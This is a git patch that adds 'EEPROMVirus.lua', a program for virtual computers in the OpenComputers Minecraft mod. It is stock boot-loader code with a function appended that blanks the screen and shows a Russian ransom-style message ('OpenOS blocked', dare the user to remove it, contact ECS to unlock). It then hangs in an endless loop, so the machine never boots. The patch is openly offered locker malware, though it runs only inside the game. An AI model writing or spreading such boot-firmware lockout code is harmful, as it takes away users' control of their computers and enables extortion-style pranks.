From b6d7a6ed15e71dd24146afa4585cab6af429ff29 Mon Sep 17 00:00:00 2001
From: Igor <eliteclubsessions@gmail.com>
Date: Wed, 9 Mar 2016 09:44:01 +0300
Subject: [PATCH] aefaef

---
 Applications/EEPROMVirus.lua | 140 +++++++++++++++++++++++++++++++++++
 1 file changed, 140 insertions(+)
 create mode 100644 Applications/EEPROMVirus.lua

diff --git a/Applications/EEPROMVirus.lua b/Applications/EEPROMVirus.lua
new file mode 100644
index 00000000..e49a1362
--- /dev/null
+++ b/Applications/EEPROMVirus.lua
@@ -0,0 +1,140 @@
+local component_invoke = component.invoke
+function boot_invoke(address, method, ...)
+  local result = table.pack(pcall(component_invoke, address, method, ...))
+  if not result[1] then
+    return nil, result[2]
+  else
+    return table.unpack(result, 2, result.n)
+  end
+end
+
+-- backwards compatibility, may remove later
+local eeprom = component.list("eeprom")()
+computer.getBootAddress = function()
+  return boot_invoke(eeprom, "getData")
+end
+computer.setBootAddress = function(address)
+  return boot_invoke(eeprom, "setData", address)
+end
+
+do
+  local screen = component.list("screen")()
+  local gpu = component.list("gpu")()
+  if gpu and screen then
+    boot_invoke(gpu, "bind", screen)
+  end
+end
+local function tryLoadFrom(address)
+  local handle, reason = boot_invoke(address, "open", "/init.lua")
+  if not handle then
+    return nil, reason
+  end
+  local buffer = ""
+  repeat
+    local data, reason = boot_invoke(address, "read", handle, math.huge)
+    if not data and reason then
+      return nil, reason
+    end
+    buffer = buffer .. (data or "")
+  until not data
+  boot_invoke(address, "close", handle)
+  return load(buffer, "=init")
+end
+local init, reason
+if computer.getBootAddress() then
+  init, reason = tryLoadFrom(computer.getBootAddress())
+end
+if not init then
+  computer.setBootAddress()
+  for address in component.list("filesystem") do
+    init, reason = tryLoadFrom(address)
+    if init then
+      computer.setBootAddress(address)
+      break
+    end
+  end
+end
+if not init then
+  error("no bootable medium found" .. (reason and (": " .. tostring(reason)) or ""), 0)
+end
+
+---------------------------------------------------------------
+
+local gpu = component.list("gpu")()
+
+local function centerText(mode,coord,text)
+  local dlina = unicode.len(text)
+  local xSize,ySize = boot_invoke(gpu, "getResolution")
+
+  if mode == "x" then
+    boot_invoke(gpu, "set", math.floor(xSize/2-dlina/2),coord,text)
+  elseif mode == "y" then
+    boot_invoke(gpu, "set", coord, math.floor(ySize/2),text)
+  else
+    boot_invoke(gpu, "set", math.floor(xSize/2-dlina/2),math.floor(ySize/2),text)
+  end
+end
+
+local textLines = {
+  "Поздравляем! Вы стали одним из первых счастливых обладателей вируса на OpenComputers.",
+  "Попытайтесь его удалить - посмотрим, что у вас выйдет. ",
+  "Ну, а нубикам советую обращаться к ECS для разблокировки компа.",
+  " ",
+  "Хех)",
+}
+
+local function virus()
+  local background, foreground = 0x0000AA, 0xCCCCCC
+  local xSize, ySize = boot_invoke(gpu, "getResolution")
+  boot_invoke(gpu, "setBackground", background)
+  boot_invoke(gpu, "fill", 1, 1, xSize, ySize, " ")
+
+  boot_invoke(gpu, "setBackground", foreground)
+  boot_invoke(gpu, "setForeground", background)
+
+  local y = math.floor(ySize / 2 - (#textLines + 2) / 2)
+  centerText("x", y, " OpenOS заблокирована! ")
+  y = y + 2
+
+  boot_invoke(gpu, "setBackground", background)
+  boot_invoke(gpu, "setForeground", foreground)
+
+  for i = 1, #textLines do
+    centerText("x", y, textLines[i])
+    y = y + 1
+  end
+
+  while true do
+    computer.pullSignal()
+  end
+end
+
+if gpu then virus() end
+
+----------------------------------
+
+computer.beep(1000, 0.2)
+init()
+
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